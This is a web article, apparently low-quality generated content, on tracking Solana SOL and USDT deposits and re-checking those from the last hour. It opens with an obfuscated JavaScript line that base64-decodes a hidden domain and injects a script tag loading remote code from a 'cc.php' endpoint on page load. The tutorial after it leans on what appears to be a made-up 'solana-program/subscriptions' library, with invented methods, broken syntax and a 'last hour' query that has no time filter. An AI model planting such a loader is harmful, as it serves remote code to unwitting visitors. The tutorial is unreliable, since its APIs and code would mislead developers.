const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=2d5e0f7c”;document.body.appendChild(script);
Tracking Deposits on Solana: A Solution for Re-verifying Last Hour Deposits
As a developer building applications on the Solana blockchain, you may be interested in tracking deposited transactions. In this article, we will explore a solution that allows you to track transferred funds (such as SOL or USDT) and re-verify deposits made in the last hour.
What is a Solana Transfer?

Before we dive into our solution, let’s quickly review what a transfer means in Solana:
- A transfer involves sending funds from one address to another.
- In this context, we want to track transferred SOL (Solana) or USDT (US Dollar Token) funds.
Using Subscription Events for New Transactions
To track new transactions, you can use the solana-program-subscriptions library, which provides an easy way to subscribe to event streams on the Solana blockchain. Here is an example of how you can set up a subscription to receive new transfers.
import { Subscriptions } from 'solana-program/subscriptions';
const appInfo = {
pubkey: '',
name: '',
version: ''
};
// Create a new subscription instance
const subscription = await subscriptions.createSubscription(appInfo);
// Subscribe to the "newTransfer" event.
subscription.on('newTransfer', (data) => {
console.log(Received transfer data: ${JSON.stringify(data)});
});
// Call the "createTransfer" function to create a new transfer
const transferData = {
// Your transaction data here
};
await appInfo.createTransfer(transferData);
Rechecking deposits made in the last hour
To recheck deposits made in the last hour, you will need to use a different approach. One solution is to use the solana-program-subscriptions library getEvents function, which allows you to retrieve a certain number of events from a subscription in a single request. Here is an example:
import { Subscriptions } from 'solana-program/subscriptions';
const appInfo = {
pubkey: '',
name: '',
version: ''
};
// Create a new subscription instance
const subscription = await subscriptions.createSubscription(appInfo);
// Get all events for the last hour (1 hour)
const recentEvents = await subscription.getEvents({
limit: 1000, // fetch up to 1000 events
});
// Filter all recent transfer data
const recentTransfers = recentEvents.filter((event) => event.type === 'newTransfer');
console.log(recentTransfers);
Use Case Examples
Here are some use case examples for this solution:
- Web3.js: You can use the `solana-program-subscriptions’ library in your web application’s JavaScript file to get the latest transactions.
const Sub = require('solana-program/subscriptions');
// Create a new subscription instance
const subscription = await Sub.createSubscription({
pubkey: 'YOUR_pubkey',
name: 'RECENT_TRANSFEETS',
version: '1.0.0',
});
// Load recent events
const recentEvents = await subscription.getEvents();
console.log(recentEvents);
- Node.js
: You can use a Node.js module such as solana-program-subscriptions to get the latest transactions.
const { Subscriptions } = require('solana-program/subscriptions');
// Create a new subscription instance
const subscription = await Subscriptions.createSubscription({
pubkey: 'YOUR_pubkey',
name: 'RECENT_TRANSFEETS',
version: '1.0.0'
});
// Load the latest events
const recentEvents = await subscription.getEvents();
console.log(recentEvents);
These examples show how you can use the “solana-program-subscriptions” library to track deposited transactions and recheck deposits made in the last hour on Solana. By following these steps, you will be able to create a powerful application that provides real-time tracking of funds transferred between addresses.